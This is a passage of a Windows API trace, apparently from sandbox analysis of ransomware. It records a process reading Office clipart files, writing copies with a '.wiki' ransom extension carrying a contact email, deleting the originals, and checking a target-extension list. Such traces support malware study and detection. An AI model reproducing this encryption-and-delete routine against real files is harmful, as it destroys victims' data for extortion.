hTemplateFile=0x0) returned 0x1e4 [0193.005] GetLastError () returned 0x0 [0193.005] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3e74, lpOverlapped=0x0) returned 1 [0193.007] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3e80, lpOverlapped=0x0) returned 1 [0193.008] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.008] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.008] SetEndOfFile (hFile=0x1e4) returned 1 [0193.008] CloseHandle (hObject=0x1e4) returned 1 [0193.008] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.008] SetEndOfFile (hFile=0x1f8) returned 1 [0193.009] CloseHandle (hObject=0x1f8) returned 1 [0193.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0193.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.010] lstrlenW (lpString=".doc") returned 4 [0193.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString=".docx") returned 5 [0193.010] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.010] lstrlenW (lpString=".pdf") returned 4 [0193.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString=".xls") returned 4 [0193.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.010] lstrlenW (lpString=".xlsx") returned 5 [0193.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.010] lstrlenW (lpString=".ppt") returned 4 [0193.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.010] lstrlenW (lpString=".zip") returned 4 [0193.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.010] lstrlenW (lpString=".rar") returned 4 [0193.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString=".bz2") returned 4 [0193.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString=".7z") returned 3 [0193.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.010] lstrlenW (lpString=".dbf") returned 4 [0193.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.010] lstrlenW (lpString=".1cd") returned 4 [0193.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.010] lstrlenW (lpString=".jpg") returned 4 [0193.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString=".doc") returned 4 [0193.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString=".docx") returned 5 [0193.011] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.011] lstrlenW (lpString=".pdf") returned 4 [0193.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString=".xls") returned 4 [0193.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.011] lstrlenW (lpString=".xlsx") returned 5 [0193.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.011] lstrlenW (lpString=".ppt") returned 4 [0193.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString=".zip") returned 4 [0193.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.011] lstrlenW (lpString=".rar") returned 4 [0193.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString=".bz2") returned 4 [0193.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString=".7z") returned 3 [0193.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString=".dbf") returned 4 [0193.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString=".1cd") returned 4 [0193.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0193.011] lstrlenW (lpString=".jpg") returned 4 [0193.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.012] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.012] lstrlenW (lpString="J0103402.WMF") returned 12 [0193.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.012] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=44948) returned 1 [0193.012] CloseHandle (hObject=0x1f8) returned 1 [0193.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0193.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.013] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.013] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.013] GetLastError () returned 0x0 [0193.013] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xaf94, lpOverlapped=0x0) returned 1 [0193.015] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xafa0, lpOverlapped=0x0) returned 1 [0193.017] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.017] SetEndOfFile (hFile=0x1e4) returned 1 [0193.017] CloseHandle (hObject=0x1e4) returned 1 [0193.017] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.017] SetEndOfFile (hFile=0x1f8) returned 1 [0193.018] CloseHandle (hObject=0x1f8) returned 1 [0193.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0193.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.019] lstrlenW (lpString=".doc") returned 4 [0193.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString=".docx") returned 5 [0193.019] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.019] lstrlenW (lpString=".pdf") returned 4 [0193.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString=".xls") returned 4 [0193.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.019] lstrlenW (lpString=".xlsx") returned 5 [0193.019] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.019] lstrlenW (lpString=".ppt") returned 4 [0193.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.019] lstrlenW (lpString=".zip") returned 4 [0193.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.019] lstrlenW (lpString=".rar") returned 4 [0193.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString=".bz2") returned 4 [0193.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString=".7z") returned 3 [0193.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.019] lstrlenW (lpString=".dbf") returned 4 [0193.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.019] lstrlenW (lpString=".1cd") returned 4 [0193.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.020] lstrlenW (lpString=".jpg") returned 4 [0193.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.020] lstrlenW (lpString=".doc") returned 4 [0193.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString=".docx") returned 5 [0193.020] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.020] lstrlenW (lpString=".pdf") returned 4 [0193.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString=".xls") returned 4 [0193.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.020] lstrlenW (lpString=".xlsx") returned 5 [0193.020] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.020] lstrlenW (lpString=".ppt") returned 4 [0193.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.020] lstrlenW (lpString=".zip") returned 4 [0193.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.020] lstrlenW (lpString=".rar") returned 4 [0193.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString=".bz2") returned 4 [0193.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.020] lstrlenW (lpString=".7z") returned 3 [0193.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.020] lstrlenW (lpString=".dbf") returned 4 [0193.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.021] lstrlenW (lpString=".1cd") returned 4 [0193.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0193.021] lstrlenW (lpString=".jpg") returned 4 [0193.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.021] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.021] lstrlenW (lpString="J0103812.WMF") returned 12 [0193.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.021] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5908) returned 1 [0193.022] CloseHandle (hObject=0x1f8) returned 1 [0193.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0193.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.022] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.022] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.022] GetLastError () returned 0x0 [0193.022] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1714, lpOverlapped=0x0) returned 1 [0193.024] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0193.025] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.025] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.025] SetEndOfFile (hFile=0x1e4) returned 1 [0193.025] CloseHandle (hObject=0x1e4) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.026] SetEndOfFile (hFile=0x1f8) returned 1 [0193.026] CloseHandle (hObject=0x1f8) returned 1 [0193.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString=".doc") returned 4 [0193.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString=".docx") returned 5 [0193.027] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.027] lstrlenW (lpString=".pdf") returned 4 [0193.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString=".xls") returned 4 [0193.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.027] lstrlenW (lpString=".xlsx") returned 5 [0193.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.027] lstrlenW (lpString=".ppt") returned 4 [0193.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString=".zip") returned 4 [0193.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.027] lstrlenW (lpString=".rar") returned 4 [0193.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString=".bz2") returned 4 [0193.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString=".7z") returned 3 [0193.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString=".dbf") returned 4 [0193.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString=".1cd") returned 4 [0193.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.027] lstrlenW (lpString=".jpg") returned 4 [0193.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString=".doc") returned 4 [0193.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString=".docx") returned 5 [0193.028] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.028] lstrlenW (lpString=".pdf") returned 4 [0193.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString=".xls") returned 4 [0193.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.028] lstrlenW (lpString=".xlsx") returned 5 [0193.028] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.028] lstrlenW (lpString=".ppt") returned 4 [0193.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString=".zip") returned 4 [0193.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.028] lstrlenW (lpString=".rar") returned 4 [0193.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString=".bz2") returned 4 [0193.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString=".7z") returned 3 [0193.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString=".dbf") returned 4 [0193.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString=".1cd") returned 4 [0193.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0193.028] lstrlenW (lpString=".jpg") returned 4 [0193.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.029] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.029] lstrlenW (lpString="J0103850.WMF") returned 12 [0193.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.029] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=23596) returned 1 [0193.029] CloseHandle (hObject=0x1f8) returned 1 [0193.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0193.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.030] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.030] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0193.030] GetLastError () returned 0x0 [0193.030] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0193.034] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x5c30, lpOverlapped=0x0) returned 1 [0193.035] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 